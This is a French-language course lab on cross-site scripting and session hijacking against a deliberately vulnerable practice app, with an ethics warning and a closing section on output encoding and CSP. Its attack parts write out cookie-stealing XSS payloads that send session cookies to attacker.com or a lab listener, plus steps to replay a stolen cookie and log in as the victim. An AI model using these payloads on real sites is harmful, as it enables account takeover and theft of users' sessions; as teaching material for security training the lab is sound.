Aller au contenu principal

Lab 6.3: XSS et Session Hijacking

Objectifs d'Apprentissage​

À la fin de ce laboratoire, vous serez capable de:

  • Comprendre les attaques Cross-Site Scripting (XSS)
  • Différencier XSS Reflected, Stored et DOM-based
  • Injecter du JavaScript malveillant dans une application web
  • Voler des cookies de session
  • Réaliser une attaque de session hijacking
  • Se connecter comme un autre utilisateur sans connaître son mot de passe
  • Détecter les vulnérabilités XSS dans le code
  • Implémenter des protections (output encoding, CSP)

Durée Estimée​

35 minutes

Prérequis​

  • Application web vulnérable (DVWA ou application fournie)
  • Serveur web local (XAMPP/WAMP)
  • Navigateur web
  • Compréhension de HTML et JavaScript de base
  • Lab 6.2 (SQL Injection) complété

Contexte Professionnel​

XSS est classé dans OWASP Top 10. Permet:

  • Vol de cookies et sessions
  • Defacement de sites
  • Redirection vers sites malveillants
  • Keylogging côté client
  • Vol d'informations sensibles

Cas réels:

  • Twitter (2010): XSS worm auto-propagé
  • eBay (2014): XSS persistent
  • British Airways (2018): Skimming via XSS

AVERTISSEMENT ÉTHIQUE ET LÉGAL​

XSS permet de voler des sessions utilisateur et d'exécuter du code malveillant dans le navigateur des victimes.

AUTORISÉ:

  • Applications de lab
  • Bug bounty autorisé
  • Tests avec permission

INTERDIT:

  • Sites réels sans autorisation
  • Vol de sessions d'autrui
  • Defacement de sites

Partie 1: XSS Reflected​

Test Basique​

Dans un champ de recherche ou URL:

<script>alert('XSS')</script>

Si une popup s'affiche: Vulnérable!

Explication: Le JavaScript est exécuté dans le navigateur de la victime.

Vol de Cookies​

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Cookie envoyé au serveur attaquant!


Partie 2: XSS Stored (Plus Dangereux)​

Injection dans Commentaires​

Dans un champ de commentaire:

<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>

Sauvegardé dans la base de données!

Chaque visiteur qui voit le commentaire:

  • JavaScript exécuté
  • Cookie volé automatiquement
  • Session compromise

Partie 3: Session Hijacking​

XSS payload:

<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Sur VM attaquant, écouter:

python3 -m http.server 8000

Quand victime visite la page:

192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -

Cookie capturé: PHPSESSID=abc123xyz456

Avec l'extension "EditThisCookie" ou console développeur:

document.cookie = "PHPSESSID=abc123xyz456";
location.reload();

Rafraîchissez la page:

BOOM! Connecté comme la victime SANS mot de passe!


Partie 4: Protection​

Code Vulnérable​

echo "Bonjour " . $_GET['name'];

Code Sécurisé​

echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');

htmlspecialchars: Convertit < en &lt;, bloque execution!

Content Security Policy (CSP)​

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

Bloque tout JavaScript inline!


Livrables​

  1. Rapport avec captures d'écran XSS fonctionnel
  2. Cookie volé et session hijacking réussi
  3. Code vulnérable vs sécurisé
  4. Recommandations de protection

Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 6